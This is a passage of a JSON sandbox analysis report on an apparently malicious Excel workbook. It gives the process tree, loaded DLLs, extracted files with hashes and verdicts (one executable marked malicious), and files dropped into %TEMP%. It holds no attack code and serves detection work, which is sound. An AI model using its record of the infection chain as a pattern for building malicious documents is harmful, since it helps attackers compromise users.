Office\\Office14\\EXCEL.EXE","uid":"00017756-00002796","icon":"$2e"},{"pid":572,"ppid":2796,"name":"ntvdm.exe","command_line":"-i1","sha256":"7790fd858e5fe32d98a85d143cb656f8cce39395b2e5a0401242b1382d8733f6","normalized_path":"%WINDIR%\\System32\\ntvdm.exe","parent_uid":"00017756-00002796","uid":"00019604-00000572","icon":"$2f"}],"all_imported_dlls":["scrrun.dll","cscapi.dll","WSHTCPIP.DLL","uxtheme.dll","version.dll","wininet.dll","psapi.dll","winnsi.dll","NapiNSP.dll","npmproxy.dll","devrtl.dll","msvcrt.dll","wtsapi32.dll","SensApi.dll","lpk.dll","msvcr90.dll","comctl32.dll","OSPPC.DLL","wship6.dll","OSPPCEXT.DLL","netapi32.dll","ole32.dll","MSOINTL.DLL","propsys.dll","WinSCard.dll","ntvdmd.dll","cfgmgr32.dll","advapi32.dll","imm32.dll","msi.dll","mscoreei.dll","msasn1.dll","sspicli.dll","msxml3.dll","rpcrt4.dll","oleaut32.dll","GFX.DLL","MSO.DLL","MSORES.DLL","cryptbase.dll","crypt32.dll","msado15.dll","msimg32.dll","mscoree.dll","RpcRtRemote.dll","ntmarta.dll","mpr.dll","ntshrui.dll","mswsock.dll","nlaapi.dll","OART.DLL","apphelp.dll","GdiPlus.dll","nsi.dll","dnsapi.dll","rasapi32.dll","rasman.dll","sfc.dll","winsta.dll","msdart.dll","ieframe.dll","oleacc.dll","oleaccrc.dll","dhcpcsvc6.dll","sfc_os.dll","winmm.dll","rpcss.dll","powrprof.dll","devobj.dll","ws2_32.dll","normaliz.dll","netutils.dll","wkscli.dll","ntdll.dll","sechost.dll","sxs.dll","IPHLPAPI.DLL","pnrpnsp.dll","winhttp.dll","webio.dll","vdmredir.dll","gdi32.dll","msimtf.dll","rsaenh.dll","iertutil.dll","msxml3r.dll","slc.dll","setupapi.dll","urlmon.dll","user32.dll","XLINTL32.DLL","dwmapi.dll","cryptsp.dll","linkinfo.dll","FWPUCLNT.DLL","shlwapi.dll","shell32.dll","rasadhlp.dll","winrnr.dll","netprofm.dll","dhcpcsvc.dll","usp10.dll","msctf.dll","clbcatq.dll","Wldap32.dll","profapi.dll","VBE7.DLL","srvcli.dll","rtutils.dll","kernel32.dll","KernelBase.dll","RICHED20.DLL","DUser.dll","WININET.dll","POWRPROF.dll","NSI.dll","DCIMAN32.dll","MPR.dll","VERSION.dll","IMM32.dll","WINSTA.dll","midimap.dll","wshtcpip.dll","NLAapi.dll","iphlpapi.DLL","OGL.DLL","WINTRUST.dll","scp32.dll","napinsp.dll","mso.dll","CRYPTSP.dll","PSAPI.DLL","CRYPTBASE.dll","shdocvw.dll","RPCRT4.dll","WS2_32.dll","ADVAPI32.dll","MSCTF.dll","VBE6INTL.DLL","Normaliz.dll","LPK.dll","CLBCatQ.DLL","MMDevAPI.DLL","AUDIOSES.DLL","LINKINFO.dll","dnsapi.DLL","SspiCli.dll","SXS.DLL","sensapi.dll","riched20.dll","USERENV.dll","GDI32.dll","WTSAPI32.DLL","SHELL32.dll","DEVOBJ.dll","WINMM.dll","PROPSYS.dll","SHLWAPI.dll","AcSpecfc.DLL","MSVCR80.dll","USP10.dll","OLEAUT32.dll","mscms.dll","COMCTL32.dll","oart.dll","COMDLG32.dll","VBE6.DLL","RASAPI32.dll","fwpuclnt.dll","ntvdm64.dll","CFGMGR32.dll","USER32.dll","Comctl32.dll","KERNELBASE.dll","DDRAW.dll","SETUPAPI.dll","duser.dll","msvcp90.dll","bcrypt.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","mscorwks.dll","VBE7INTL.DLL","imageres.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","ATL90.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","secur32.dll","MSOSTYLE.DLL","api-ms-win-downlevel-version-l1-1-0.dll","msimsg.dll","dui70.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","wshqos.dll","GROOVEEX.DLL","api-ms-win-downlevel-shlwapi-l1-1-0.dll","USP10.DLL","ExplorerFrame.dll","userenv.dll","xmllite.dll","MSPTLS.DLL","api-ms-win-downlevel-user32-l1-1-0.dll","AcSpecfc.dll","OSETUPPS.DLL","MMDevAPI.dll","ddraw.dll","wintrust.dll","AudioSes.dll","SCP32.DLL","msdrm.dll","msxml5.dll","avrt.dll","snmpapi.dll","dciman32.dll","comdlg32.dll","ksuser.dll","msacm32.dll","msvcr80.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"EDMUN11118_181859.xls.xls#env#100.LNK","sha256":"b1bf52ff1d376f9a77b849fc68ccc5c9932c5a55ea37365081a52fc3d57ee3d4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"index.dat","sha256":"4404b331f7997b3bbddc9d24fd6bfc74efe130eafb8e5a444b2d4a1951062639","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"4510829.cvr","sha256":"ef35388129f0ab9369015a46c51eb7158c7530dd2744a82ab4c4137636a479fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"scs100.tmp","sha256":"06d61c23e6ca59b9ddad1796eccc42c032cd8f6f424af6cfee5d085d36ff7dfd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"scsD7.tmp","sha256":"ee06792197c3e025b84860a72460eaf628c66637685f8c52c5a08a9cc35d376c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"strname.exe","sha256":"58f3b43be536d3f292bb365ca08de77c6e28e8042492613706b54ef58f5e83bc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"carved_0.exe","sha256":"58f3b43be536d3f292bb365ca08de77c6e28e8042492613706b54ef58f5e83bc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"EDMUN11118_181859.LNK","sha256":"7760bff2611990b35c2eaad3143efee8a52ca83c6b657026bfa8c61f7b699d4d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"name":"o97i76u54[1].exe","sha256":"5ab7b06d5d7a043726e9b4a23419fec293cea016d2efb1f263b03fb2be3cb03a","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"opa12.dat","sha256":"e6ed077d0989e498de1e81fd03334da95c80ee6a2706dc79f70f58293f2c21b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"1372390.od","sha256":"a6b674b419aae0ecf3f2ace86a573ce283031b2df0a18b3306c0f8f619185dc7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]}],"files_written":[{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\EXCEL.EXE.config","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%APPDATA%\\Microsoft\\Excel","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Excel\\XLSTART","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%USERPROFILE%\\Documents","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%TEMP%\\~DFB51F7ED30D826269.TMP","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%TEMP%\\~DFF6F6424B14D0CDC2.TMP","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\EXCEL.EXE","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\system32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"C:\\Users\\5TRMdL5","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%COMMONPROGRAMFILES%\\System\\ado\\msado15.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\System32\\msxml3.dll\\1","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\System32\\msxml3.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\EDMUN11118_181859.xls.xls#env#100","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"C:\\EDMUN11118_181859.xls.xls#env#100.xls","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\EDMUN11118_181859.xls.xls#env#100.LNK","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%TEMP%\\strname.exe","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\en-US\\SHELL32.DLL.mui","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\system32\\ntvdm.exe","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\AppPatch\\pcamain.sdb","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\_default.pif","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"C:\\MSDOS.SYS","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"C:\\IO.SYS","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\system32\\ntio.sys","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\system32\\ntdos.sys","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\CONFIG.NT","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%TEMP%\\SCSD7.TMP","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\HIMEM.SYS","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\COUNTRY.SYS","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\COMMAND.COM","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\AUTOEXEC.NT","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\MSCDEXNT.EXE","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\REDIR.EXE","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM32\\DOSX.EXE","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%WINDIR%\\SYSTEM.INI","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%TEMP%\\SCS100.TMP","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%TEMP%\\STRNAME.EXE","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%TEMP%\\4510829.cvr","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\DW\\DW20.EXE","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\office12\\Cultures\\office.odf","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\1031\\XLINTL32.DLL","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\1031\\XLLEX.DLL","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\EXCEL.EXE.config","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\OFFICE11\\msxml5.dll","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft 